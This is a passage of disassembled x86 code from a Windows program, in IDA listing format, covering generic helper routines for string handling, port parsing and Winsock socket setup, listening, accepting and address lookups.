		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_121C]
		push	offset asc_412214 ; "\r\n"
		push	eax
		call	sub_410856	; _mbscat
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_410826	; strlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_121C]
		push	eax
		push	edi
		call	sub_403D54
		push	edi
		call	sub_403D27
		add	esp, 2Ch
		jmp	short loc_40307D
; ---------------------------------------------------------------------------


loc_403076:				; CODE XREF: sub_402EFD+BFj
					; sub_402EFD+C8j ...
		push	edi
		call	sub_403D27
		pop	ecx


loc_40307D:				; CODE XREF: sub_402EFD+A2j
					; sub_402EFD+177j
		push	esi
		push	ebx
		call	sub_40371E
		pop	ecx
		pop	ecx
		jmp	loc_402F82
; ---------------------------------------------------------------------------


loc_40308B:				; CODE XREF: sub_402EFD+91j
					; sub_402EFD+99j
		push	ebx
		call	sub_4038E1
		push	[ebp+var_21C]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	edi
		pop	esi


loc_4030A2:				; CODE XREF: sub_402EFD+4Fj
		pop	ebx
		leave
		retn	4
sub_402EFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A7	proc near		; CODE XREF: sub_40735A+6CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		jz	short loc_4030BC
		push	ebx
		call	sub_40325E
		test	eax, eax
		pop	ecx
		jnz	short loc_4030C1


loc_4030BC:				; CODE XREF: sub_4030A7+8j
		mov	ebx, offset dword_412A14


loc_4030C1:				; CODE XREF: sub_4030A7+13j
		push	1ADh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40311A
		push	edi
		push	6
		lea	eax, [esi+4]
		push	ebx
		push	eax
		call	sub_4052A6
		mov	edi, [esp+18h+arg_0]
		lea	eax, [esi+0Ah]
		push	edi
		push	eax
		call	sub_403E60
		add	esp, 14h
		test	edi, edi
		jz	short loc_403101
		cmp	byte ptr [edi+18Bh], 0
		jz	short loc_403101
		xor	eax, eax
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_403101:				; CODE XREF: sub_4030A7+4Bj
					; sub_4030A7+54j
		push	1
		pop	eax


loc_403104:				; CODE XREF: sub_4030A7+58j
		push	ebx
		push	offset dword_4129F4
		push	eax
		push	esi
		push	offset sub_402EFD
		call	sub_40663C
		add	esp, 14h
		pop	edi


loc_40311A:				; CODE XREF: sub_4030A7+29j
		pop	esi
		pop	ebx
		retn
sub_4030A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40311D	proc near		; CODE XREF: sub_40B7A2+5Ep
					; sub_40BE08+133p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		mov	esi, 104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	offset dword_412A2C
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_104]
		push	esi
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	eax
		push	0
		push	0
		call	ds:dword_411058	; MultiByteToWideChar
		pop	esi
		leave
		retn
sub_40311D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40315E	proc near		; CODE XREF: sub_40735A+D2Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		dec	eax
		push	esi
		dec	eax
		push	edi
		mov	ebx, 0FEh
		jz	short loc_4031A7
		dec	eax
		jz	short loc_40318B
		dec	eax
		jnz	short loc_4031C3
		push	ebx
		push	1
		call	sub_40AADE
		mov	edi, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		and	al, 0
		pop	ecx
		or	edi, eax
		jmp	short loc_40318E
; ---------------------------------------------------------------------------


loc_40318B:				; CODE XREF: sub_40315E+13j
		mov	edi, [ebp+arg_0]


loc_40318E:				; CODE XREF: sub_40315E+2Bj
		push	ebx
		push	1
		call	sub_40AADE
		mov	esi, eax
		pop	ecx
		shl	esi, 8
		and	edi, 0FFFF00FFh
		pop	ecx
		or	esi, edi
		jmp	short loc_4031AA
; ---------------------------------------------------------------------------


loc_4031A7:				; CODE XREF: sub_40315E+10j
		mov	esi, [ebp+arg_0]


loc_4031AA:				; CODE XREF: sub_40315E+47j
		push	ebx
		push	1
		call	sub_40AADE
		mov	edi, eax
		pop	ecx
		shl	edi, 10h
		and	esi, 0FF00FFFFh
		pop	ecx
		or	edi, esi
		jmp	short loc_4031C6
; ---------------------------------------------------------------------------


loc_4031C3:				; CODE XREF: sub_40315E+16j
		mov	edi, [ebp+arg_0]


loc_4031C6:				; CODE XREF: sub_40315E+63j
		push	ebx
		push	1
		call	sub_40AADE
		pop	ecx
		and	edi, 0FFFFFFh
		shl	eax, 18h
		pop	ecx
		or	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40315E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031E0	proc near		; CODE XREF: sub_403289+Ap
					; sub_403342+13p

arg_0		= dword	ptr  4

		push	0Ah
		push	[esp+4+arg_0]
		push	0FFFFh
		push	401h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		retn
sub_4031E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403201	proc near		; CODE XREF: sub_408F9D+479p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	4
		push	offset dword_412A50
		push	esi
		call	sub_4108E0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40321F


loc_40321A:				; CODE XREF: sub_403201+30j
					; sub_403201+44j
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40321F:				; CODE XREF: sub_403201+17j
		push	4
		push	offset dword_412A48
		push	esi
		call	sub_4108E0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40321A
		push	8
		push	offset dword_412A3C
		push	esi
		call	sub_4108E0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40321A
		push	3
		push	offset dword_412A38
		push	esi
		call	sub_4108E0	; strncmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		pop	esi
		inc	eax
		retn
sub_403201	endp


; =============== S U B	R O U T	I N E =======================================



sub_40325E	proc near		; CODE XREF: sub_402230+173p
					; sub_4030A7+Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax


loc_403264:				; CODE XREF: sub_40325E+10j
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_403273
		inc	eax
		cmp	eax, 6
		jnz	short loc_403264


loc_403270:				; CODE XREF: sub_40325E+1Ej
					; sub_40325E+25j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403273:				; CODE XREF: sub_40325E+Aj
		push	ecx
		call	sub_41088C	; atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403270
		cmp	eax, 0FFFFh
		ja	short loc_403270
		push	1
		pop	eax
		retn
sub_40325E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403289	proc near		; CODE XREF: sub_4032EF+9p
					; sub_405E4E:loc_405F7Ap ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4031E0
		lea	eax, [ebp+var_8]
		push	1
		push	eax
		call	sub_4035FB
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_4032B1
		push	1
		pop	eax
		jmp	short loc_4032E7
; ---------------------------------------------------------------------------


loc_4032B1:				; CODE XREF: sub_403289+21j
		push	edi
		push	0BB8h
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	offset dword_418C78
		call	sub_403BBB
		push	esi
		mov	edi, eax
		call	sub_4038E1
		add	esp, 14h
		test	edi, edi
		jz	short loc_4032EA
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4032EA
		push	edi
		xor	esi, esi
		call	sub_403D49
		pop	ecx


loc_4032E4:				; CODE XREF: sub_403289+64j
		mov	eax, esi
		pop	edi


loc_4032E7:				; CODE XREF: sub_403289+26j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4032EA:				; CODE XREF: sub_403289+4Bj
					; sub_403289+50j
		push	1
		pop	esi
		jmp	short loc_4032E4
sub_403289	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032EF	proc near		; CODE XREF: sub_40D1B3+1p
					; sub_40E18A+182p ...
		cmp	dword_417FC4, 0
		jnz	short loc_403317
		call	sub_403289
		push	eax
		push	offset dword_417FC8
		call	sub_406B0B
		push	1
		push	offset dword_417FC4
		call	sub_406B0B
		add	esp, 10h


loc_403317:				; CODE XREF: sub_4032EF+7j
		mov	eax, dword_417FC8
		retn
sub_4032EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40331D	proc near		; CODE XREF: sub_403342+6p
					; sub_4035FB+36p
		push	esi
		push	0
		push	1
		push	17h
		call	ds:dword_41122C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403338
		push	esi
		call	sub_403D49
		pop	ecx


loc_403338:				; CODE XREF: sub_40331D+12j
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		setnz	al
		pop	esi
		retn
sub_40331D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403342	proc near		; CODE XREF: sub_4058D7:loc_405A61p

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_40331D
		test	eax, eax
		jz	short loc_40336E
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4031E0
		lea	eax, [ebp+var_8]
		push	1
		push	eax
		call	sub_4035FB
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_403372


loc_40336E:				; CODE XREF: sub_403342+Dj
		xor	eax, eax
		jmp	short loc_4033A9
; ---------------------------------------------------------------------------


loc_403372:				; CODE XREF: sub_403342+2Aj
		push	edi
		push	0BB8h
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_412A64
		call	sub_403BBB
		push	esi
		mov	edi, eax
		call	sub_4038E1
		add	esp, 14h
		test	edi, edi
		jz	short loc_4033AC
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4033AC
		push	1
		pop	esi
		push	edi
		call	sub_403D49
		pop	ecx


loc_4033A6:				; CODE XREF: sub_403342+6Cj
		mov	eax, esi
		pop	edi


loc_4033A9:				; CODE XREF: sub_403342+2Ej
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4033AC:				; CODE XREF: sub_403342+53j
					; sub_403342+58j
		xor	esi, esi
		jmp	short loc_4033A6
sub_403342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033B0	proc near		; CODE XREF: sub_405E4E:loc_405F61p
					; sub_40849F+196p ...

var_14		= byte ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		lea	eax, [ebp+var_14]
		push	offset dword_412A18
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40AC4E
		push	7D0h
		push	2
		lea	eax, [ebp+var_14]
		push	offset a80	; "80"
		push	eax
		call	sub_403BBB
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_4033FE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4033FE
		push	1
		pop	esi
		push	eax
		call	sub_403D49
		pop	ecx


loc_4033F9:				; CODE XREF: sub_4033B0+50j
		mov	eax, esi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4033FE:				; CODE XREF: sub_4033B0+38j
					; sub_4033B0+3Dj
		xor	esi, esi
		jmp	short loc_4033F9
sub_4033B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403402	proc near		; CODE XREF: sub_403AFB+7Dp
					; sub_403BBB+ABp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		setz	al
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	ds:dword_411228	; ioctlsocket
		pop	ebp
		retn
sub_403402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403424	proc near		; CODE XREF: sub_404D33+1C5p
					; sub_404D33+200p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_0]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	ds:dword_411228	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		setnz	al
		pop	ebp
		retn
sub_403424	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403443	proc near		; CODE XREF: sub_408F9D+467p
					; sub_40D201+54p

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411250	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403470
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403470:				; CODE XREF: sub_403443+27j
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_84]
		push	[ebp+var_4]
		push	eax
		call	dword_417BB8	; getnameinfo
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403495	proc near		; CODE XREF: sub_404D33+B2p
					; sub_40DA07+24p ...

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411224	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034C2
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4034C2:				; CODE XREF: sub_403495+27j
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_84]
		push	[ebp+var_4]
		push	eax
		call	dword_417BB8	; getnameinfo
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403495	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034E7	proc near		; CODE XREF: sub_40E03D+8Fp
					; sub_40FFBC+182p

var_84		= byte ptr -84h
var_82		= dword	ptr -82h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411250	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403514
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403514:				; CODE XREF: sub_4034E7+27j
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+var_82]
		call	ds:dword_411248	; htons
		movzx	eax, ax
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax
		leave
		retn
sub_4034E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403536	proc near		; CODE XREF: sub_40ED30+142p
					; sub_40FFBC+14Ap

var_84		= byte ptr -84h
var_82		= dword	ptr -82h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411224	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403563
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403563:				; CODE XREF: sub_403536+27j
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+var_82]
		call	ds:dword_411248	; htons
		movzx	eax, ax
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax
		leave
		retn
sub_403536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403585	proc near		; CODE XREF: sub_408F9D+516p

var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jnz	short loc_4035F6
		mov	esi, [ebp+arg_0]


loc_4035A7:				; CODE XREF: sub_403585+51j
		test	esi, esi
		jz	short loc_4035ED
		push	2
		push	0
		push	0
		lea	eax, [ebp+var_404]
		push	401h
		push	eax
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		call	dword_417BB8	; getnameinfo
		test	eax, eax
		jnz	short loc_4035D3
		cmp	dword ptr [esi+4], 2
		jz	short loc_4035D8


loc_4035D3:				; CODE XREF: sub_403585+46j
		mov	esi, [esi+1Ch]
		jmp	short loc_4035A7
; ---------------------------------------------------------------------------


loc_4035D8:				; CODE XREF: sub_403585+4Cj
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_410820	; _mbscpy
		pop	ecx
		mov	al, 1
		pop	ecx
		jmp	short loc_4035F8
; ---------------------------------------------------------------------------


loc_4035ED:				; CODE XREF: sub_403585+24j
		push	[ebp+arg_0]
		call	dword_417BBC	; freeaddrinfo


loc_4035F6:				; CODE XREF: sub_403585+1Dj
		xor	al, al


loc_4035F8:				; CODE XREF: sub_403585+66j
		pop	esi
		leave
		retn
sub_403585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035FB	proc near		; CODE XREF: sub_401B81+D4p
					; sub_402EFD+33p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	edi
		push	1008h
		call	sub_41082C	; malloc
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		pop	ecx
		jz	loc_403714
		push	20h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[edi], ebx
		mov	[edi+804h], ebx
		call	sub_410850	; memset
		add	esp, 0Ch
		call	sub_40331D
		neg	eax
		sbb	eax, eax
		mov	[ebp+var_1C], 1
		and	al, 0FEh
		mov	[ebp+var_24], 5
		inc	eax
		inc	eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_0]
		push	ebx
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jnz	loc_40370D
		push	esi
		mov	esi, [ebp+var_4]
		cmp	esi, ebx
		jz	loc_4036FF


loc_403675:				; CODE XREF: sub_4035FB+FCj
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	ds:dword_41122C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4036F2
		mov	eax, [esi+4]
		cmp	eax, 2
		jz	short loc_403698
		cmp	eax, 17h
		jnz	short loc_4036F2


loc_403698:				; CODE XREF: sub_4035FB+96j
		test	[ebp+arg_4], 2
		jz	short loc_4036B9
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+arg_0], 1
		call	ds:dword_411218	; setsockopt


loc_4036B9:				; CODE XREF: sub_4035FB+A1j
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	ebx
		call	ds:dword_41121C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4036D9
		push	32h
		push	ebx
		call	ds:dword_411278	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4036E2


loc_4036D9:				; CODE XREF: sub_4035FB+CEj
		push	ebx
		call	sub_403D49
		pop	ecx
		jmp	short loc_4036F2
; ---------------------------------------------------------------------------


loc_4036E2:				; CODE XREF: sub_4035FB+DCj
		mov	eax, [edi]
		mov	[edi+eax*4+4], ebx
		inc	dword ptr [edi]
		cmp	dword ptr [edi], 200h
		jz	short loc_4036FD


loc_4036F2:				; CODE XREF: sub_4035FB+8Ej
					; sub_4035FB+9Bj ...
		mov	esi, [esi+1Ch]
		test	esi, esi
		jnz	loc_403675


loc_4036FD:				; CODE XREF: sub_4035FB+F5j
		xor	ebx, ebx


loc_4036FF:				; CODE XREF: sub_4035FB+74j
		push	[ebp+var_4]
		call	dword_417BBC	; freeaddrinfo
		cmp	[edi], ebx
		pop	esi
		jnz	short loc_403718


loc_40370D:				; CODE XREF: sub_4035FB+68j
		push	edi
		call	sub_410832	; free
		pop	ecx


loc_403714:				; CODE XREF: sub_4035FB+19j
		xor	eax, eax
		jmp	short loc_40371A
; ---------------------------------------------------------------------------


loc_403718:				; CODE XREF: sub_4035FB+110j
		mov	eax, edi


loc_40371A:				; CODE XREF: sub_4035FB+11Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4035FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40371E	proc near		; CODE XREF: sub_401B81+18Fp
					; sub_402EFD+7Dp ...

var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	[ebp+var_8], 80h
		cmp	dword ptr [esi], 0
		jbe	loc_4037C3
		lea	edi, [esi+4]


loc_403744:				; CODE XREF: sub_40371E+A3j
		lea	ebx, [esi+804h]
		push	ebx
		push	dword ptr [edi]
		call	sub_410B58	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4037B6
		mov	edx, [ebx]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_40379A
		mov	ebx, [edi]
		lea	eax, [esi+808h]


loc_403766:				; CODE XREF: sub_40371E+52j
		cmp	[eax], ebx
		jz	short loc_403774
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403766
		jmp	short loc_40379A
; ---------------------------------------------------------------------------


loc_403774:				; CODE XREF: sub_40371E+4Aj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403794
		lea	eax, [esi+ecx*4+808h]


loc_403780:				; CODE XREF: sub_40371E+74j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [esi+804h]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403780


loc_403794:				; CODE XREF: sub_40371E+59j
		dec	dword ptr [esi+804h]


loc_40379A:				; CODE XREF: sub_40371E+3Ej
					; sub_40371E+54j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41123C	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4038DC


loc_4037B6:				; CODE XREF: sub_40371E+36j
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_403744


loc_4037C3:				; CODE XREF: sub_40371E+1Dj
		lea	edi, [esi+804h]
		xor	eax, eax
		cmp	[esi], eax
		mov	[ebp+var_4], eax
		mov	[edi], eax
		jbe	short loc_40381F
		lea	ecx, [esi+4]


loc_4037D7:				; CODE XREF: sub_40371E+FFj
		mov	edx, [edi]
		and	[ebp+arg_0], 0
		test	edx, edx
		jbe	short loc_4037F8
		lea	eax, [esi+808h]


loc_4037E7:				; CODE XREF: sub_40371E+D8j
		mov	ebx, [ecx]
		cmp	[eax], ebx
		jz	short loc_4037F8
		inc	[ebp+arg_0]
		add	eax, 4
		cmp	[ebp+arg_0], edx
		jb	short loc_4037E7


loc_4037F8:				; CODE XREF: sub_40371E+C1j
					; sub_40371E+CDj
		mov	eax, [ebp+arg_0]
		cmp	eax, edx
		jnz	short loc_403812
		cmp	edx, 200h
		jnb	short loc_403812
		mov	edx, [ecx]
		mov	[esi+eax*4+808h], edx
		inc	dword ptr [edi]


loc_403812:				; CODE XREF: sub_40371E+DFj
					; sub_40371E+E7j
		inc	[ebp+var_4]
		add	ecx, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_4037D7


loc_40381F:				; CODE XREF: sub_40371E+B4j
		mov	eax, [ebp+arg_4]
		mov	ecx, 3E8h
		xor	edx, edx
		mov	ebx, ecx
		div	ebx
		xor	edx, edx
		xor	ebx, ebx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		div	ecx
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [esi]
		imul	edx, 3E8h
		mov	[ebp+var_C], edx
		call	ds:dword_411214	; select
		cmp	eax, ebx
		jz	loc_4038D9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403862
		xor	eax, eax
		jmp	short loc_4038DC
; ---------------------------------------------------------------------------


loc_403862:				; CODE XREF: sub_40371E+13Ej
		cmp	[esi], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_4038D9
		lea	ebx, [esi+4]


loc_40386C:				; CODE XREF: sub_40371E+1B9j
		push	edi
		push	dword ptr [ebx]
		call	sub_410B58	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4038CC
		xor	ecx, ecx
		cmp	[edi], ecx
		jbe	short loc_4038B4
		lea	eax, [esi+808h]


loc_403884:				; CODE XREF: sub_40371E+172j
		mov	edx, [ebx]
		cmp	[eax], edx
		jz	short loc_403894
		inc	ecx
		add	eax, 4
		cmp	ecx, [edi]
		jb	short loc_403884
		jmp	short loc_4038B4
; ---------------------------------------------------------------------------


loc_403894:				; CODE XREF: sub_40371E+16Aj
		mov	eax, [edi]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_4038B2
		lea	eax, [esi+ecx*4+808h]


loc_4038A2:				; CODE XREF: sub_40371E+192j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [edi]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4038A2


loc_4038B2:				; CODE XREF: sub_40371E+17Bj
		dec	dword ptr [edi]


loc_4038B4:				; CODE XREF: sub_40371E+15Ej
					; sub_40371E+174j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	dword ptr [ebx]
		call	ds:dword_41123C	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4038DC


loc_4038CC:				; CODE XREF: sub_40371E+158j
		inc	[ebp+var_4]
		add	ebx, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_40386C


loc_4038D9:				; CODE XREF: sub_40371E+135j
					; sub_40371E+149j
		or	eax, 0FFFFFFFFh


loc_4038DC:				; CODE XREF: sub_40371E+92j
					; sub_40371E+142j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40371E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038E1	proc near		; CODE XREF: sub_401B81+FFp
					; sub_401B81+2EFp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_403913
		lea	edi, [esi+4]


loc_4038F3:				; CODE XREF: sub_4038E1+30j
		cmp	dword_417B68, 0
		jz	short loc_403901
		cmp	eax, 64h
		ja	short loc_403913


loc_403901:				; CODE XREF: sub_4038E1+19j
		push	dword ptr [edi]
		call	sub_403D49
		mov	eax, [esi]
		inc	ebx
		add	edi, 4
		cmp	ebx, eax
		pop	ecx
		jb	short loc_4038F3


loc_403913:				; CODE XREF: sub_4038E1+Dj
					; sub_4038E1+1Ej
		and	dword ptr [esi+804h], 0
		push	esi
		call	sub_410832	; free
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_403925	proc near		; CODE XREF: sub_40E18A+149p
					; sub_40ED30+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, 200h
		ja	short loc_403941
		push	1010h
		call	sub_41082C	; malloc
		test	eax, eax
		pop	ecx
		jnz	short loc_403945


loc_403941:				; CODE XREF: sub_403925+Bj
		xor	eax, eax
